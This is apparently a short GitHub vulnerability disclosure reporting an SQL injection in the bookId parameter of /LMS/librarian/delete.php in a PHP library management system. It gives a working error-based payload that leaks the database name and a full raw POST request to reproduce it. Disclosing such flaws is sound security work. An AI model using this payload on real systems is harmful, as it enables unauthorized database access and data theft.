debug601 Create SQLi-20.md History

1 contributor

30 lines (21 sloc) | 1.09 KB

Library Management System v1.0 by kingbhob02 has SQL injection

vendors: https://www.sourcecodester.com/php/15434/library-management-system-qr-code-attendance-and-auto-generate-library-card.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /LMS/librarian/delete.php

Vulnerability location: /LMS/librarian/delete.php, bookId

[+] Payload: delete=&bookId=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--%20 // Leak place ---> bookId

```
POST /LMS/librarian/delete.php HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: _ga=GA1.1.1382961971.1655097107
Connection: close
```

```
Content-Type: application/x-www-form-urlencoded
Content-Length: 79

delete=&bookId=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--%20
```